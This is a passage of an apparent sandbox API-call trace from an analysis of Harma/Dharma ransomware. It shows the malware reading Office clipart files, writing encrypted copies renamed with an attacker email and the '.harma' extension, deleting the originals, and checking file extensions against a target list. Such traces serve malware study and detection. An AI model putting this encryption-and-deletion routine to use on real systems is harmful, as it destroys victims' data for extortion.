Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.383] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=29628) returned 1 [0149.383] CloseHandle (hObject=0x380) returned 1 [0149.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0149.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.383] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.383] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.384] GetLastError () returned 0x0 [0149.384] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x73bc, lpOverlapped=0x0) returned 1 [0149.403] WriteFile (in: hFile=0x20c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x73c0, lpOverlapped=0x0) returned 1 [0149.405] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.405] WriteFile (in: hFile=0x20c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.405] SetEndOfFile (hFile=0x20c) returned 1 [0149.405] CloseHandle (hObject=0x20c) returned 1 [0149.405] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.405] SetEndOfFile (hFile=0x380) returned 1 [0149.408] CloseHandle (hObject=0x380) returned 1 [0149.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0149.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.409] lstrlenW (lpString=".doc") returned 4 [0149.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.409] lstrlenW (lpString=".docx") returned 5 [0149.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.410] lstrlenW (lpString=".pdf") returned 4 [0149.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString=".xls") returned 4 [0149.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.410] lstrlenW (lpString=".xlsx") returned 5 [0149.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.410] lstrlenW (lpString=".ppt") returned 4 [0149.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.410] lstrlenW (lpString=".zip") returned 4 [0149.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.410] lstrlenW (lpString=".rar") returned 4 [0149.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString=".bz2") returned 4 [0149.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString=".7z") returned 3 [0149.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.410] lstrlenW (lpString=".dbf") returned 4 [0149.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.410] lstrlenW (lpString=".1cd") returned 4 [0149.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.410] lstrlenW (lpString=".jpg") returned 4 [0149.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.410] lstrlenW (lpString=".doc") returned 4 [0149.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString=".docx") returned 5 [0149.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.411] lstrlenW (lpString=".pdf") returned 4 [0149.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString=".xls") returned 4 [0149.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.411] lstrlenW (lpString=".xlsx") returned 5 [0149.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.411] lstrlenW (lpString=".ppt") returned 4 [0149.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.411] lstrlenW (lpString=".zip") returned 4 [0149.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.411] lstrlenW (lpString=".rar") returned 4 [0149.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString=".bz2") returned 4 [0149.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString=".7z") returned 3 [0149.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.411] lstrlenW (lpString=".dbf") returned 4 [0149.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.411] lstrlenW (lpString=".1cd") returned 4 [0149.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0149.411] lstrlenW (lpString=".jpg") returned 4 [0149.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.411] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.412] lstrlenW (lpString="DD00255_.WMF") returned 12 [0149.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.414] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2690) returned 1 [0149.414] CloseHandle (hObject=0x380) returned 1 [0149.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0149.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.415] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.415] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.415] GetLastError () returned 0x0 [0149.415] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xa82, lpOverlapped=0x0) returned 1 [0149.419] WriteFile (in: hFile=0x20c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0149.420] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.420] WriteFile (in: hFile=0x20c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.420] SetEndOfFile (hFile=0x20c) returned 1 [0149.420] CloseHandle (hObject=0x20c) returned 1 [0149.420] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.420] SetEndOfFile (hFile=0x380) returned 1 [0149.422] CloseHandle (hObject=0x380) returned 1 [0149.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.424] lstrlenW (lpString=".doc") returned 4 [0149.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString=".docx") returned 5 [0149.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.424] lstrlenW (lpString=".pdf") returned 4 [0149.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString=".xls") returned 4 [0149.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.424] lstrlenW (lpString=".xlsx") returned 5 [0149.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.424] lstrlenW (lpString=".ppt") returned 4 [0149.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.424] lstrlenW (lpString=".zip") returned 4 [0149.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.424] lstrlenW (lpString=".rar") returned 4 [0149.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString=".bz2") returned 4 [0149.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString=".7z") returned 3 [0149.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.424] lstrlenW (lpString=".dbf") returned 4 [0149.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.424] lstrlenW (lpString=".1cd") returned 4 [0149.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.424] lstrlenW (lpString=".jpg") returned 4 [0149.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.425] lstrlenW (lpString=".doc") returned 4 [0149.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.425] lstrlenW (lpString=".docx") returned 5 [0149.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.425] lstrlenW (lpString=".pdf") returned 4 [0149.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.425] lstrlenW (lpString=".xls") returned 4 [0149.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.425] lstrlenW (lpString=".xlsx") returned 5 [0149.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.425] lstrlenW (lpString=".ppt") returned 4 [0149.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.425] lstrlenW (lpString=".zip") returned 4 [0149.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.425] lstrlenW (lpString=".rar") returned 4 [0149.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.425] lstrlenW (lpString=".bz2") returned 4 [0149.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.425] lstrlenW (lpString=".7z") returned 3 [0149.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.425] lstrlenW (lpString=".dbf") returned 4 [0149.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.425] lstrlenW (lpString=".1cd") returned 4 [0149.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0149.425] lstrlenW (lpString=".jpg") returned 4 [0149.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.426] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.426] lstrlenW (lpString="DD00256_.WMF") returned 12 [0149.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.426] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2832) returned 1 [0149.426] CloseHandle (hObject=0x380) returned 1 [0149.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0149.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.427] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.427] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.427] GetLastError () returned 0x0 [0149.427] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xb10, lpOverlapped=0x0) returned 1 [0149.569] WriteFile (in: hFile=0x20c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xb20, lpOverlapped=0x0) returned 1 [0149.570] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.570] WriteFile (in: hFile=0x20c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.571] SetEndOfFile (hFile=0x20c) returned 1 [0149.614] CloseHandle (hObject=0x20c) returned 1 [0149.614] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.614] SetEndOfFile (hFile=0x380) returned 1 [0149.617] CloseHandle (hObject=0x380) returned 1 [0149.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0149.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.618] lstrlenW (lpString=".doc") returned 4 [0149.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.618] lstrlenW (lpString=".docx") returned 5 [0149.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.618] lstrlenW (lpString=".pdf") returned 4 [0149.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.618] lstrlenW (lpString=".xls") returned 4 [0149.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.618] lstrlenW (lpString=".xlsx") returned 5 [0149.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.618] lstrlenW (lpString=".ppt") returned 4 [0149.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.618] lstrlenW (lpString=".zip") returned 4 [0149.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.618] lstrlenW (lpString=".rar") returned 4 [0149.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.618] lstrlenW (lpString=".bz2") returned 4 [0149.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.618] lstrlenW (lpString=".7z") returned 3 [0149.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.618] lstrlenW (lpString=".dbf") returned 4 [0149.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.619] lstrlenW (lpString=".1cd") returned 4 [0149.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.619] lstrlenW (lpString=".jpg") returned 4 [0149.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.619] lstrlenW (lpString=".doc") returned 4 [0149.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.619] lstrlenW (lpString=".docx") returned 5 [0149.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.619] lstrlenW (lpString=".pdf") returned 4 [0149.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.619] lstrlenW (lpString=".xls") returned 4 [0149.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.619] lstrlenW (lpString=".xlsx") returned 5 [0149.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.619] lstrlenW (lpString=".ppt") returned 4 [0149.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.619] lstrlenW (lpString=".zip") returned 4 [0149.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.619] lstrlenW (lpString=".rar") returned 4 [0149.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.619] lstrlenW (lpString=".bz2") returned 4 [0149.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.619] lstrlenW (lpString=".7z") returned 3 [0149.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.619] lstrlenW (lpString=".dbf") returned 4 [0149.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.620] lstrlenW (lpString=".1cd") returned 4 [0149.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0149.620] lstrlenW (lpString=".jpg") returned 4 [0149.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.620] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.620] lstrlenW (lpString="DD00405_.WMF") returned 12 [0149.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0149.987] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=17584) returned 1 [0149.987] CloseHandle (hObject=0x344) returned 1 [0149.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0150.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 